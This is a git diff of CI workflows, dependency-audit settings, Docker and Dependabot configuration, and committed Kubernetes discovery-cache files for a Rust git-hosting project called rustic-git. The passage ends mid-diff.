diff --git a/.cargo/audit.toml b/.cargo/audit.toml new file mode 100644 index 00000000..1a990ce7 --- /dev/null +++ b/.cargo/audit.toml @@ -0,0 +1,7 @@ +# rsa 0.9 (Marvin attack, RUSTSEC-2023-0071) reaches us only transitively through +# russh/ssh-key, and rsa has shipped no patched release — the fix lands in 0.10. +# Nothing here can be upgraded away, so the advisory would fail every CI run for a +# dependency we do not call directly. +# Revisit when `cargo tree -i rsa` shows 0.10 stable: drop this ignore, do not extend it. +[advisories] +ignore = ["RUSTSEC-2023-0071"] diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 00000000..22a4fd67 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,13 @@ +# The Dockerfile only COPYs compiled binaries out of target//, so nothing else is context — +# not the source, and not the rest of target/ (gigabytes of rlibs and .d files). +* +!target/release/rustic-git +!target/release/rustic-git-api +!target/release/rustic-git-worker +!target/release/rustic-git-agent +!target/release/rustic-git-gateway +!target/dev-image/rustic-git +!target/dev-image/rustic-git-api +!target/dev-image/rustic-git-worker +!target/dev-image/rustic-git-agent +!target/dev-image/rustic-git-gateway diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000..b0ef9f83 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,24 @@ +# Every action, base image and dependency in this repo is pinned by SHA or digest, which is only +# a virtue while something moves the pins. Weekly, grouped, so a Monday brings a handful of PRs +# rather than one per crate. +version: 2 +updates: + - package-ecosystem: github-actions + directory: / + schedule: { interval: weekly } + - package-ecosystem: docker + directory: / + schedule: { interval: weekly } + - package-ecosystem: docker + directory: /web + schedule: { interval: weekly } + - package-ecosystem: cargo + directory: / + schedule: { interval: weekly } + groups: + cargo: { patterns: ["*"] } + - package-ecosystem: npm + directory: /web + schedule: { interval: weekly } + groups: + npm: { patterns: ["*"] } diff --git a/.github/workflows/audit.yml b/.github/workflows/audit.yml new file mode 100644 index 00000000..ab5dbb1a --- /dev/null +++ b/.github/workflows/audit.yml @@ -0,0 +1,35 @@ +# Advisories arrive without a commit. `image.yml` runs cargo-deny only when master moves, and the +# web tree has no audit at all — this is the run that notices a CVE published on a quiet week. +# Red here means: bump the crate (`cargo update -p `) or the package (`bun update `), +# or add a justified `ignore` to deny.toml, then let the normal push run confirm it. +name: audit +on: + schedule: + - cron: "0 6 * * 1" # weekly, Monday morning UTC + workflow_dispatch: + +permissions: + contents: read + +jobs: + cargo: + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: EmbarkStudios/cargo-deny-action@b66acf5e9fe20f8aba065be86778a8a4c846f902 # v2 + with: + command: check advisories + web: + runs-on: ubuntu-latest + timeout-minutes: 15 + defaults: + run: + working-directory: web + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 + with: + bun-version: 1.3.14 + - run: bun install --frozen-lockfile + - run: bun audit diff --git a/.github/workflows/cf-sync.yml b/.github/workflows/cf-sync.yml new file mode 100644 index 00000000..c89559c5 --- /dev/null +++ b/.github/workflows/cf-sync.yml @@ -0,0 +1,20 @@ +# Does the committed Cloudflare range list still match what Cloudflare publishes? A stale list +# fails safe on every copy (a new edge is refused, never wrongly trusted), which is exactly why +# nobody notices — this is the noticing. Red here means: run deploy/cf-sync.sh, commit, re-apply. +name: cf-sync +on: + schedule: + - cron: "17 6 * * 1" # weekly; Cloudflare's last change was 2024, so this is plenty + workflow_dispatch: + pull_request: + paths: ["deploy/cf-sync.sh", "deploy/k3s/cloudflare-ips-v4.txt", "deploy/ingress-nginx-*.yaml"] + +permissions: + contents: read + +jobs: + check: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - run: deploy/cf-sync.sh diff --git a/.github/workflows/image.yml b/.github/workflows/image.yml index ab70c631..35409817 100644 --- a/.github/workflows/image.yml +++ b/.github/workflows/image.yml @@ -2,29 +2,163 @@ name: image on: push: branches: [master] + # PRs get the test job only: a red commit is cheapest to catch before it is on master, and a + # PR has no business producing a package. `build` and `image` are skipped on this event. + pull_request: workflow_dispatch: +permissions: + contents: read + jobs: + test: + # GitHub's runner, not the self-hosted VM: that VM exists for its docker layer cache and + # carries no Rust toolchain. The cargo cache below keys on Cargo.lock, so after the first + # cold build (the C deps: aws-lc-sys, ring, zstd) this is a few minutes. + runs-on: ubuntu-latest + timeout-minutes: 30 + permissions: + contents: read + # audit-check posts its findings as a check run on the commit. + checks: write + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: dtolnay/rust-toolchain@4360b52568e2003a75bf9bc1d59f33a8e3fc893c # stable + with: + components: clippy + - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2 + # Workspace-wide, not `--all-targets`: the test targets carry pre-existing lints that are not + # worth a reformat-sized diff (see CLAUDE.md). `cargo fmt --check` is deliberately absent + # for the same reason — the tree is not rustfmt-shaped and gating it means one repo-wide + # reformat commit, which is the owner's call, not CI's. + # `--locked` on both, like the Dockerfile and the build job: a stale lockfile must fail here, + # not pass here by rewriting Cargo.lock and then fail differently in `build`. + - run: cargo clippy --workspace --locked -- -D warnings + - run: cargo test --locked + - uses: rustsec/audit-check@69366f33c96575abad1ee0dba8212993eecbe998 # v2.0.0 + with: + token: ${{ secrets.GITHUB_TOKEN }} + # `audit-check` above covers advisories only. This adds the three checks a repo with this + # much crypto surface wants: banned/duplicate crates, licence policy, and source + # allowlisting. Config lives in deny.toml, next to Cargo.toml. + - uses: EmbarkStudios/cargo-deny-action@b66acf5e9fe20f8aba065be86778a8a4c846f902 # v2 + with: + command: check + build: + # NOT `needs: test` — the compile and the tests run in parallel, and only `image` below waits + # for both. Waiting for tests before compiling added their whole duration (5m32s measured) to + # every image, serially, for nothing; gating the PUSH on them costs nothing extra. + # + # Compiled here, on the runner, NOT inside docker. cargo-chef under a `type=gha,mode=max` layer + # cache cached the dependency cook and nothing else: the workspace crates sat in the layer that + # also held the source, so every commit rebuilt them from scratch — 342 s of `cargo build` plus + # 114 s of cache export, per run. rust-cache keeps the whole target dir across commits, so an + # ordinary commit recompiles only the crates it touched. + # + # Inside rust:1-bookworm rather than on ubuntu-24.04 itself: the runtime images are + # bookworm-slim (glibc 2.36) and a binary linked against the runner's glibc 2.39 would not exec + # there. The step after the build checks that no newer symbol version crept in. + if: github.event_name != 'pull_request' runs-on: ubuntu-latest + timeout-minutes: 30 + container: rust:1-bookworm@sha256:e70e2eec3d495fd5c8e0be74adda86507dfac7f51a724fbf9813ff59b2b247c7 + permissions: + contents: read + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2 + with: + # A red build that got through the C deps is still worth keeping. + cache-on-failure: true + - run: > + cargo build --release --locked + --bin rustic-git --bin rustic-git-api --bin rustic-git-worker + --bin rustic-git-agent --bin rustic-git-gateway + - name: glibc ceiling + run: | + set -eu + for b in rustic-git rustic-git-api rustic-git-worker rustic-git-agent rustic-git-gateway; do + need=$(objdump -T "target/release/$b" | grep -o 'GLIBC_[0-9.]*' | sort -uV | tail -1) + echo "$b needs $need" + if [ "$(printf '%s\nGLIBC_2.36\n' "$need" | sort -V | tail -1)" != GLIBC_2.36 ]; then + echo "::error::$b needs $need, bookworm-slim ships 2.36"; exit 1 + fi + done + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: bins + path: | + target/release/rustic-git + target/release/rustic-git-api + target/release/rustic-git-worker + target/release/rustic-git-agent + target/release/rustic-git-gateway + if-no-files-found: error + retention-days: 1 + + image: + # Docker on the plain runner: buildx and the ghcr login have no business inside the rust + # container, and the artifact hop for five binaries is seconds. + # + # `needs: test` as well as `build`: a commit whose tests fail gets NO package — neither + # `:` nor `:latest`. The deploy side (`deploy/pin.sh`) can then treat "the tag exists" + # as "the tests passed", which is the only signal a repin from `git log` ever sees. + needs: [build, test] + runs-on: ubuntu-latest + timeout-minutes: 30 permissions: contents: read packages: write steps: - - uses: actions/checkout@v4 - - uses: docker/setup-buildx-action@v3 - - uses: docker/login-action@v3 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 + with: + name: bins + path: target/release + # upload-artifact drops the mode bits and the Dockerfile COPYs the files as they are. + - run: chmod +x target/release/rustic-git* + - uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 + # Default docker-container driver: required for `type=gha` cache, which the classic + # `docker` driver cannot export to. + - uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - - uses: docker/build-push-action@v6 + # Plain `type=gha`, no `mode=max`: the only layers worth caching now are the apt-get ones, + # and those are in the final images. `max` existed for the builder stage that is gone. + - uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: context: . + target: server + # linux/amd64 only: the cluster is amd64, and so are the binaries above. platforms: linux/amd64 push: true tags: | ghcr.io/kloudlite/rustic-git:latest ghcr.io/kloudlite/rustic-git:${{ github.sha }} cache-from: type=gha - cache-to: type=gha,mode=max + cache-to: type=gha + - uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 + with: + context: . + target: agent + platforms: linux/amd64 + push: true + tags: | + ghcr.io/kloudlite/rustic-git-agent:latest + ghcr.io/kloudlite/rustic-git-agent:${{ github.sha }} + cache-from: type=gha + cache-to: type=gha + - uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 + with: + context: . + target: gateway + platforms: linux/amd64 + push: true + tags: | + ghcr.io/kloudlite/rustic-git-gateway:latest + ghcr.io/kloudlite/rustic-git-gateway:${{ github.sha }} + cache-from: type=gha + cache-to: type=gha diff --git a/.github/workflows/kl.yml b/.github/workflows/kl.yml new file mode 100644 index 00000000..790b12b8 --- /dev/null +++ b/.github/workflows/kl.yml @@ -0,0 +1,79 @@ +name: kl +on: + push: + tags: ["kl-v*"] + workflow_dispatch: + +# The CLI ships on its own tags, not on master: `bins/kl` builds four host binaries for people's +# laptops, which has nothing to do with the cluster images `image.yml` pushes per commit. +permissions: + contents: read + +jobs: + build: + strategy: + matrix: + include: + - target: x86_64-unknown-linux-gnu + os: ubuntu-latest + # cross, because a glibc arm64 binary needs a matching sysroot the ubuntu runner has not + # got — the darwin pair build natively on macOS runners instead. + - target: aarch64-unknown-linux-gnu + os: ubuntu-latest + cross: true + - target: x86_64-apple-darwin + os: macos-latest + - target: aarch64-apple-darwin + os: macos-latest + runs-on: ${{ matrix.os }} + timeout-minutes: 30 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: dtolnay/rust-toolchain@4360b52568e2003a75bf9bc1d59f33a8e3fc893c # stable + with: + targets: ${{ matrix.target }} + - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2 + # A fixed version: `cross` is a build tool that runs arbitrary containers, and an + # unpinned `cargo install` at release time is the one unpinned input in this file. + - if: matrix.cross + run: cargo install cross --version 0.2.5 --locked + - run: ${{ matrix.cross && 'cross' || 'cargo' }} build -p kl --release --locked --target ${{ matrix.target }} + - name: package + run: | + set -eu + name="kl-${{ matrix.target }}" + cp "target/${{ matrix.target }}/release/kl" "$name" + shasum -a 256 "$name" > "$name.sha256" 2>/dev/null || sha256sum "$name" > "$name.sha256" + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: kl-${{ matrix.target }} + path: | + kl-${{ matrix.target }} + kl-${{ matrix.target }}.sha256 + + release: + needs: build + runs-on: ubuntu-latest + timeout-minutes: 30 + permissions: + contents: write + # For the provenance attestation below. + id-token: write + attestations: write + steps: + - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 + with: + path: dist + merge-multiple: true + # One sha256sums file next to the assets: install.sh verifies against it. + - run: cd dist && cat *.sha256 > sha256sums && rm -f *.sha256 + # `sha256sums` proves a download is intact; this proves it came from THIS workflow on THIS + # commit (`gh attestation verify kl- -R kloudlite/rustic-git`). Free for a public + # repo, and the only origin signal `install.sh`'s same-origin checksum cannot give. + - uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3 + with: + subject-path: dist/kl-* + - uses: softprops/action-gh-release@72f2c25fcb47643c292f7107632f7a47c1df5cd8 # v2 + with: + files: dist/* + generate_release_notes: true diff --git a/.github/workflows/web.yml b/.github/workflows/web.yml index 6542c80b..3a97d56f 100644 --- a/.github/workflows/web.yml +++ b/.github/workflows/web.yml @@ -7,6 +7,11 @@ on: paths: ["web/**", ".github/workflows/web.yml"] workflow_dispatch: +# Read-only default for every job: `bun install` runs lifecycle scripts from a branch-controlled +# lockfile, and the token they could reach must not be able to write anything. +permissions: + contents: read + defaults: run: working-directory: web @@ -15,20 +20,24 @@ jobs: check: name: typecheck · lint · build runs-on: ubuntu-latest + timeout-minutes: 30 steps: - - uses: actions/checkout@v4 - - uses: oven-sh/setup-bun@v2 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: 1.3.14 - name: Cache turbo - uses: actions/cache@v4 + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4 with: path: web/.turbo - key: turbo-${{ runner.os }}-${{ github.sha }} + # Keyed on the lockfile, not the commit: a per-commit key can never hit and writes a + # fresh entry every run, which is the opposite of a cache. + key: turbo-${{ runner.os }}-${{ hashFiles('web/bun.lock') }} restore-keys: turbo-${{ runner.os }}- - run: bun install --frozen-lockfile - run: bun run typecheck - run: bun run lint + - run: bun run test - run: bun run build env: NEXT_TELEMETRY_DISABLED: 1 @@ -38,18 +47,19 @@ jobs: needs: check if: github.event_name != 'pull_request' runs-on: ubuntu-latest + timeout-minutes: 30 permissions: contents: read packages: write steps: - - uses: actions/checkout@v4 - - uses: docker/setup-buildx-action@v3 - - uses: docker/login-action@v3 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4 + - uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 + - uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - - uses: docker/build-push-action@v6 + - uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: context: web platforms: linux/amd64 diff --git a/.gitignore b/.gitignore index 309c3230..262ce53c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,12 +1,24 @@ /target +# Local-run scratch: per-node caches and generated SSH host keys. +# Unanchored: a test that runs with its CWD inside a crate writes `crates//.local/cache`, not +# just the root one. Anchored as `/.local` it was not ignored, and a `git add -A` committed two +# SlateDB .sst files into the repo. +.local/ +# Personal ops runbook with cluster-specific commands; not for the repo. +/RUNBOOK.local.md +# Older runs wrote these at the root; keep ignoring strays — at the root only. /cache* -host_key* +/host_key* /.superpowers /.claude/worktrees -/.superpowers # web web/node_modules web/**/node_modules web/**/.next web/.turbo +/.turbo +/.worktrees/ + +# k3s provisioning parameters (may name an operator IP; never secrets) +deploy/k3s/env.sh diff --git a/.kube/cache/discovery/20.219.9.167_6443/admissionregistration.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/admissionregistration.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..e84b6a65 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/admissionregistration.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"admissionregistration.k8s.io/v1","resources":[{"name":"mutatingwebhookconfigurations","singularName":"mutatingwebhookconfiguration","namespaced":false,"kind":"MutatingWebhookConfiguration","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]},{"name":"validatingadmissionpolicies","singularName":"validatingadmissionpolicy","namespaced":false,"kind":"ValidatingAdmissionPolicy","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]},{"name":"validatingadmissionpolicies/status","singularName":"validatingadmissionpolicy","namespaced":false,"kind":"ValidatingAdmissionPolicy","verbs":["get","patch","update"]},{"name":"validatingadmissionpolicybindings","singularName":"validatingadmissionpolicybinding","namespaced":false,"kind":"ValidatingAdmissionPolicyBinding","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]},{"name":"validatingwebhookconfigurations","singularName":"validatingwebhookconfiguration","namespaced":false,"kind":"ValidatingWebhookConfiguration","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/apiextensions.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/apiextensions.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..f42043e9 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/apiextensions.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"apiextensions.k8s.io/v1","resources":[{"name":"customresourcedefinitions","singularName":"customresourcedefinition","namespaced":false,"kind":"CustomResourceDefinition","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["crd","crds"],"categories":["api-extensions"]},{"name":"customresourcedefinitions/status","singularName":"customresourcedefinition","namespaced":false,"kind":"CustomResourceDefinition","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/apiregistration.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/apiregistration.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..ba36d814 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/apiregistration.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"apiregistration.k8s.io/v1","resources":[{"name":"apiservices","singularName":"apiservice","namespaced":false,"kind":"APIService","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]},{"name":"apiservices/status","singularName":"apiservice","namespaced":false,"kind":"APIService","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/apps/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/apps/v1/serverresources.json new file mode 100644 index 00000000..13050888 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/apps/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"apps/v1","resources":[{"name":"controllerrevisions","singularName":"controllerrevision","namespaced":true,"kind":"ControllerRevision","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"daemonsets","singularName":"daemonset","namespaced":true,"kind":"DaemonSet","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ds"],"categories":["all"]},{"name":"daemonsets/status","singularName":"daemonset","namespaced":true,"kind":"DaemonSet","verbs":["get","patch","update"]},{"name":"deployments","singularName":"deployment","namespaced":true,"kind":"Deployment","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["deploy"],"categories":["all"]},{"name":"deployments/scale","singularName":"deployment","namespaced":true,"group":"autoscaling","version":"v1","kind":"Scale","verbs":["get","patch","update"]},{"name":"deployments/status","singularName":"deployment","namespaced":true,"kind":"Deployment","verbs":["get","patch","update"]},{"name":"replicasets","singularName":"replicaset","namespaced":true,"kind":"ReplicaSet","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["rs"],"categories":["all"]},{"name":"replicasets/scale","singularName":"replicaset","namespaced":true,"group":"autoscaling","version":"v1","kind":"Scale","verbs":["get","patch","update"]},{"name":"replicasets/status","singularName":"replicaset","namespaced":true,"kind":"ReplicaSet","verbs":["get","patch","update"]},{"name":"statefulsets","singularName":"statefulset","namespaced":true,"kind":"StatefulSet","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["sts"],"categories":["all"]},{"name":"statefulsets/scale","singularName":"statefulset","namespaced":true,"group":"autoscaling","version":"v1","kind":"Scale","verbs":["get","patch","update"]},{"name":"statefulsets/status","singularName":"statefulset","namespaced":true,"kind":"StatefulSet","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/authentication.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/authentication.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..5f10cfd6 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/authentication.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"authentication.k8s.io/v1","resources":[{"name":"selfsubjectreviews","singularName":"selfsubjectreview","namespaced":false,"kind":"SelfSubjectReview","verbs":["create"]},{"name":"tokenreviews","singularName":"tokenreview","namespaced":false,"kind":"TokenReview","verbs":["create"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/authorization.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/authorization.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..0a4b3460 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/authorization.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"authorization.k8s.io/v1","resources":[{"name":"localsubjectaccessreviews","singularName":"localsubjectaccessreview","namespaced":true,"kind":"LocalSubjectAccessReview","verbs":["create"]},{"name":"selfsubjectaccessreviews","singularName":"selfsubjectaccessreview","namespaced":false,"kind":"SelfSubjectAccessReview","verbs":["create"]},{"name":"selfsubjectrulesreviews","singularName":"selfsubjectrulesreview","namespaced":false,"kind":"SelfSubjectRulesReview","verbs":["create"]},{"name":"subjectaccessreviews","singularName":"subjectaccessreview","namespaced":false,"kind":"SubjectAccessReview","verbs":["create"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/autoscaling/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/autoscaling/v1/serverresources.json new file mode 100644 index 00000000..66f468e4 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/autoscaling/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"autoscaling/v1","resources":[{"name":"horizontalpodautoscalers","singularName":"horizontalpodautoscaler","namespaced":true,"kind":"HorizontalPodAutoscaler","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["hpa"],"categories":["all"]},{"name":"horizontalpodautoscalers/status","singularName":"horizontalpodautoscaler","namespaced":true,"kind":"HorizontalPodAutoscaler","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/autoscaling/v2/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/autoscaling/v2/serverresources.json new file mode 100644 index 00000000..c084fc24 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/autoscaling/v2/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"autoscaling/v2","resources":[{"name":"horizontalpodautoscalers","singularName":"horizontalpodautoscaler","namespaced":true,"kind":"HorizontalPodAutoscaler","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["hpa"],"categories":["all"]},{"name":"horizontalpodautoscalers/status","singularName":"horizontalpodautoscaler","namespaced":true,"kind":"HorizontalPodAutoscaler","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/batch/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/batch/v1/serverresources.json new file mode 100644 index 00000000..4fbaa15a --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/batch/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"batch/v1","resources":[{"name":"cronjobs","singularName":"cronjob","namespaced":true,"kind":"CronJob","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["cj"],"categories":["all"]},{"name":"cronjobs/status","singularName":"cronjob","namespaced":true,"kind":"CronJob","verbs":["get","patch","update"]},{"name":"jobs","singularName":"job","namespaced":true,"kind":"Job","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["all"]},{"name":"jobs/status","singularName":"job","namespaced":true,"kind":"Job","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/certificates.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/certificates.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..bbe93bb2 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/certificates.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"certificates.k8s.io/v1","resources":[{"name":"certificatesigningrequests","singularName":"certificatesigningrequest","namespaced":false,"kind":"CertificateSigningRequest","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["csr"]},{"name":"certificatesigningrequests/approval","singularName":"certificatesigningrequest","namespaced":false,"kind":"CertificateSigningRequest","verbs":["get","patch","update"]},{"name":"certificatesigningrequests/status","singularName":"certificatesigningrequest","namespaced":false,"kind":"CertificateSigningRequest","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/coordination.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/coordination.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..4c2ee761 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/coordination.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"coordination.k8s.io/v1","resources":[{"name":"leases","singularName":"lease","namespaced":true,"kind":"Lease","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/discovery.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/discovery.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..b914184e --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/discovery.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"discovery.k8s.io/v1","resources":[{"name":"endpointslices","singularName":"endpointslice","namespaced":true,"kind":"EndpointSlice","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/events.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/events.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..8814241e --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/events.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"events.k8s.io/v1","resources":[{"name":"events","singularName":"event","namespaced":true,"kind":"Event","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ev"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/flowcontrol.apiserver.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/flowcontrol.apiserver.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..ec93018b --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/flowcontrol.apiserver.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"flowcontrol.apiserver.k8s.io/v1","resources":[{"name":"flowschemas","singularName":"flowschema","namespaced":false,"kind":"FlowSchema","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"flowschemas/status","singularName":"flowschema","namespaced":false,"kind":"FlowSchema","verbs":["get","patch","update"]},{"name":"prioritylevelconfigurations","singularName":"prioritylevelconfiguration","namespaced":false,"kind":"PriorityLevelConfiguration","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"prioritylevelconfigurations/status","singularName":"prioritylevelconfiguration","namespaced":false,"kind":"PriorityLevelConfiguration","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/helm.cattle.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/helm.cattle.io/v1/serverresources.json new file mode 100644 index 00000000..0268465a --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/helm.cattle.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"helm.cattle.io/v1","resources":[{"name":"helmchartconfigs","singularName":"helmchartconfig","namespaced":true,"group":"helm.cattle.io","version":"v1","kind":"HelmChartConfig","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]},{"name":"helmcharts","singularName":"helmchart","namespaced":true,"group":"helm.cattle.io","version":"v1","kind":"HelmChart","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]},{"name":"helmcharts/status","singularName":"helmchart","namespaced":true,"group":"helm.cattle.io","version":"v1","kind":"HelmChart","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/k3s.cattle.io/v1/serverresources.json 